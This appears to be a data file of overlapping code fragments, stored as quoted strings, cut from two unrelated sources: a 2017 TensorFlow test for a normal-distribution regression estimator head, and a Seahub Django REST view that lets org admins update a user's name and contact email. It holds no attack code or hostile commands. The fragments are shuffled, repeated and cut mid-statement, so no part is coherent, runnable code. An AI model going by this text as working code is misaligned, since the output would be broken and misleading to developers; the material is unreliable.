"the specific language governing permissions and # limitations under the License. # ==============================================================================",
"tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn",
"model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives)",
"# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"may not use this file except in compliance with the License. # You",
"License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS",
"k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will",
"correctly constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev =",
"tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform import test",
"[1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert to tensor so we",
"{}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels)",
"sigma loss = 0.5 * (z**2. + np.log(2. * np.pi)) + np.log(sigma) return",
"# Should have created only one distribution. self.assertEqual(1, len(head.distributions)) if __name__ == \"__main__\":",
"implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu",
"constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[...,",
"from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform import",
"__future__ import print_function import numpy as np import six from tensorflow.contrib.distributions.python.ops import estimator",
"tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client",
"Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the",
"= np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1], [1, 0.5], [-1, 1]]) with",
"/ sigma loss = 0.5 * (z**2. + np.log(2. * np.pi)) + np.log(sigma)",
"actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[...,",
"\"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import from __future__ import division from __future__",
"import normal as normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops):",
"= actual_stddev(logits) labels = np.squeeze(labels, -1) z = (labels - mu) / sigma",
"distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT",
"actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels, -1) z = (labels - mu)",
"v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will bias",
"+ np.log(2. * np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits): return logits[..., 0]"
] |
[
"contact_email is not None: contact_email = contact_email.strip() if contact_email != '' and not",
"None) if name is not None: name = name.strip() if len(name) > 64:",
"def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {} info['email'] = email info['name'] =",
"long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg",
"# update user's contact email contact_email = request.data.get(\"contact_email\", None) if contact_email is not",
"= 'User %s not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check",
"is_org_user from seahub.utils import is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname",
"permission check if not request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if",
"seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags",
"= int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.' % org_id",
"seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils",
"authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request,",
"error_msg = 'Name is too long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg)",
"error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg =",
"'/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e) error_msg",
"api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg)",
"Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e) error_msg = 'Internal Server Error' return",
"contact_email = contact_email.strip() if contact_email != '' and not is_valid_email(contact_email): error_msg = 'contact_email",
"(UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request, org_id, email): \"\"\" update name of",
"return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN,",
"Copyright (c) 2012-2016 Seafile Ltd. import logging from rest_framework import status from rest_framework.views",
"= profile.contact_email if profile and profile.contact_email else '' return info class OrgAdminUser(APIView): authentication_classes",
"status from rest_framework.views import APIView from rest_framework.response import Response from rest_framework.authentication import SessionAuthentication",
"'User %s not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if",
"if not request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id !=",
"(maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg =",
"APIView from rest_framework.response import Response from rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api",
"2012-2016 Seafile Ltd. import logging from rest_framework import status from rest_framework.views import APIView",
"from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile logger",
"import is_org_user from seahub.utils import is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import",
"SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle",
"info['contact_email'] = profile.contact_email if profile and profile.contact_email else '' return info class OrgAdminUser(APIView):",
"Permission checking: 1. only admin can perform this action. \"\"\" # resource check",
"error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s not found.'",
"\"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception",
"= request.data.get(\"name\", None) if name is not None: name = name.strip() if len(name)",
"rest_framework.views import APIView from rest_framework.response import Response from rest_framework.authentication import SessionAuthentication from seaserv",
"(IsProVersion,) def put(self, request, org_id, email): \"\"\" update name of an org user.",
"contact email contact_email = request.data.get(\"contact_email\", None) if contact_email is not None: contact_email =",
"'' return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes",
"= 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e:",
"import api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email from seahub.base.accounts import",
"from seahub.profile.models import Profile logger = logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info",
"return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name = request.data.get(\"name\", None) if name",
"= (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request, org_id, email): \"\"\" update name",
"= 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name = request.data.get(\"name\",",
"check if not request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id",
"in name: error_msg = \"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try:",
"%s not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not",
"= name.strip() if len(name) > 64: error_msg = 'Name is too long (maximum",
"import logging from rest_framework import status from rest_framework.views import APIView from rest_framework.response import",
"org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name",
"info = {} info['email'] = email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if",
"is_org_user(email, org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name",
"get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {} info['email'] = email info['name'] = email2nickname(email)",
"else '' return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,)",
"user. Permission checking: 1. only admin can perform this action. \"\"\" # resource",
"= 'Organization %s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user =",
"import SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import",
"'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name = request.data.get(\"name\", None)",
"return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e) error_msg =",
"name name = request.data.get(\"name\", None) if name is not None: name = name.strip()",
"User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s not found.' % email return api_error(status.HTTP_404_NOT_FOUND,",
"this action. \"\"\" # resource check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg",
"not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg)",
"!= org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id):",
"invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e) error_msg",
"1. only admin can perform this action. \"\"\" # resource check org_id =",
"import APIView from rest_framework.response import Response from rest_framework.authentication import SessionAuthentication from seaserv import",
"import User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile logger = logging.getLogger(__name__)",
"# update user's name name = request.data.get(\"name\", None) if name is not None:",
"api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e) error_msg = 'Internal",
"logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info = get_user_info(email) info['is_active']",
"def put(self, request, org_id, email): \"\"\" update name of an org user. Permission",
"\"\"\" # resource check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization",
"ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try:",
"'Organization %s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email)",
"put(self, request, org_id, email): \"\"\" update name of an org user. Permission checking:",
"not request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id:",
"error_msg) if request.user.org.org_id != org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if",
"except Exception as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg)",
"'' and not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email,",
"is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg = \"Name",
"contact_email.strip() if contact_email != '' and not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return",
"'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg = 'Permission denied.'",
"user's name name = request.data.get(\"name\", None) if name is not None: name =",
"(TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request, org_id, email):",
"not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not request.user.org.is_staff:",
"from rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions import IsProVersion from",
"error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email",
"Ltd. import logging from rest_framework import status from rest_framework.views import APIView from rest_framework.response",
"= 'Name is too long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if",
"perform this action. \"\"\" # resource check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id):",
"Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info = get_user_info(email) info['is_active'] = user.is_active return Response(info)",
"include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e)",
"Profile.objects.get_profile_by_user(email) info = {} info['email'] = email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email",
"error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info = get_user_info(email) info['is_active'] =",
"denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg = 'Permission denied.' return",
"error_msg = 'Organization %s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user",
"not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as e:",
"checking: 1. only admin can perform this action. \"\"\" # resource check org_id",
"as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update",
"org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.' %",
"return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN,",
"None) if contact_email is not None: contact_email = contact_email.strip() if contact_email != ''",
"\"/\" in name: error_msg = \"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg)",
"name = name.strip() if len(name) > 64: error_msg = 'Name is too long",
"seahub.profile.models import Profile logger = logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info =",
"name is not None: name = name.strip() if len(name) > 64: error_msg =",
"Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email contact_email = request.data.get(\"contact_email\", None)",
"org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg",
"logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {} info['email'] = email info['name']",
"contact_email != '' and not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg)",
"api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg = \"Name should not include '/'.\"",
"from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email from",
"error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as",
"import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import",
"request, org_id, email): \"\"\" update name of an org user. Permission checking: 1.",
"found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not request.user.org.is_staff: error_msg",
"error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name =",
"and profile.contact_email else '' return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes",
"info['email'] = email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if profile and profile.contact_email",
"as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info =",
"Seafile Ltd. import logging from rest_framework import status from rest_framework.views import APIView from",
"from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from",
"resource check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not",
"update user's name name = request.data.get(\"name\", None) if name is not None: name",
"return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not request.user.org.is_staff: error_msg = 'Permission denied.'",
"is not None: name = name.strip() if len(name) > 64: error_msg = 'Name",
"error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e) error_msg = 'Internal Server",
"rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling",
"int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.' % org_id return",
"!= '' and not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try:",
"error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg =",
"error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e) error_msg = 'Internal Server",
"if not is_org_user(email, org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update",
"return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e) error_msg =",
"if contact_email != '' and not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST,",
"Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e) error_msg = 'Internal Server Error' return",
"return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s",
"action. \"\"\" # resource check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg =",
"org_id, email): \"\"\" update name of an org user. Permission checking: 1. only",
"return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg = \"Name should not include",
"import ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import",
"from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error from",
"User.DoesNotExist: error_msg = 'User %s not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) #",
"if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND,",
"api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not request.user.org.is_staff: error_msg = 'Permission denied.' return",
"name = request.data.get(\"name\", None) if name is not None: name = name.strip() if",
"user's contact email contact_email = request.data.get(\"contact_email\", None) if contact_email is not None: contact_email",
"UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user",
"error_msg) if not is_org_user(email, org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) #",
"check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s not found.'",
"from seaserv import ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle from",
"= email2nickname(email) info['contact_email'] = profile.contact_email if profile and profile.contact_email else '' return info",
"class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def",
"from rest_framework.views import APIView from rest_framework.response import Response from rest_framework.authentication import SessionAuthentication from",
"import is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import",
"from rest_framework.response import Response from rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api from",
"should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as",
"= (IsProVersion,) def put(self, request, org_id, email): \"\"\" update name of an org",
"\"\"\" update name of an org user. Permission checking: 1. only admin can",
"% email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not request.user.org.is_staff: error_msg =",
"error_msg = \"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name)",
"seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile logger =",
"name.strip() if len(name) > 64: error_msg = 'Name is too long (maximum is",
"not None: contact_email = contact_email.strip() if contact_email != '' and not is_valid_email(contact_email): error_msg",
"is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile",
"denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name = request.data.get(\"name\", None) if",
"name: error_msg = \"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email,",
"if contact_email is not None: contact_email = contact_email.strip() if contact_email != '' and",
"profile and profile.contact_email else '' return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication)",
"Response from rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions import IsProVersion",
"import email2nickname from seahub.profile.models import Profile logger = logging.getLogger(__name__) def get_user_info(email): profile =",
"of an org user. Permission checking: 1. only admin can perform this action.",
"not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist:",
"import status from rest_framework.views import APIView from rest_framework.response import Response from rest_framework.authentication import",
"email): \"\"\" update name of an org user. Permission checking: 1. only admin",
"# resource check org_id = int(org_id) if not ccnet_api.get_org_by_id(org_id): error_msg = 'Organization %s",
"admin can perform this action. \"\"\" # resource check org_id = int(org_id) if",
"and not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email)",
"if len(name) > 64: error_msg = 'Name is too long (maximum is 64",
"api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s not",
"if name is not None: name = name.strip() if len(name) > 64: error_msg",
"% org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg =",
"from rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response from",
"email2nickname(email) info['contact_email'] = profile.contact_email if profile and profile.contact_email else '' return info class",
"error_msg = 'User %s not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission",
"return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email contact_email = request.data.get(\"contact_email\", None) if",
"api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email from seahub.base.accounts import User",
"api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's name name = request.data.get(\"name\", None) if name is",
"SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request, org_id, email): \"\"\"",
"TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email",
"profile = Profile.objects.get_profile_by_user(email) info = {} info['email'] = email info['name'] = email2nickname(email) info['contact_email']",
"= logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {} info['email'] = email",
"error_msg) # update user's name name = request.data.get(\"name\", None) if name is not",
"if profile and profile.contact_email else '' return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication,",
"seaserv import ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication",
"= {} info['email'] = email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if profile",
"characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg = \"Name should not",
"= request.data.get(\"contact_email\", None) if contact_email is not None: contact_email = contact_email.strip() if contact_email",
"Exception as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info",
"Exception as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) #",
"import Profile logger = logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {}",
"rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response from rest_framework.authentication",
"email2nickname from seahub.profile.models import Profile logger = logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email)",
"seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email from seahub.base.accounts",
"e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's",
"only admin can perform this action. \"\"\" # resource check org_id = int(org_id)",
"info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,)",
"64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name: error_msg = \"Name should",
"logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact",
"email contact_email = request.data.get(\"contact_email\", None) if contact_email is not None: contact_email = contact_email.strip()",
"import TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils import",
"import Response from rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions import",
"= 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg = 'Permission",
"nickname=name) except Exception as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR,",
"api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e) error_msg = 'Internal",
"Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email contact_email = request.data.get(\"contact_email\",",
"is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception",
"try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e) error_msg = 'Internal Server Error'",
"contact_email=contact_email) except Exception as e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR,",
"e: logger.error(e) error_msg = 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info = get_user_info(email)",
"# Copyright (c) 2012-2016 Seafile Ltd. import logging from rest_framework import status from",
"64: error_msg = 'Name is too long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST,",
"contact_email = request.data.get(\"contact_email\", None) if contact_email is not None: contact_email = contact_email.strip() if",
"is not None: contact_email = contact_email.strip() if contact_email != '' and not is_valid_email(contact_email):",
"= 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg = 'Permission",
"update name of an org user. Permission checking: 1. only admin can perform",
"User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile logger = logging.getLogger(__name__) def",
"# permission check if not request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg)",
"= email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if profile and profile.contact_email else",
"error_msg) if \"/\" in name: error_msg = \"Name should not include '/'.\" return",
"len(name) > 64: error_msg = 'Name is too long (maximum is 64 characters).'",
"is too long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in",
"from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile logger = logging.getLogger(__name__) def get_user_info(email):",
"profile.contact_email if profile and profile.contact_email else '' return info class OrgAdminUser(APIView): authentication_classes =",
"seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models import Profile logger = logging.getLogger(__name__) def get_user_info(email): profile",
"name of an org user. Permission checking: 1. only admin can perform this",
"info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if profile and profile.contact_email else '' return",
"None: contact_email = contact_email.strip() if contact_email != '' and not is_valid_email(contact_email): error_msg =",
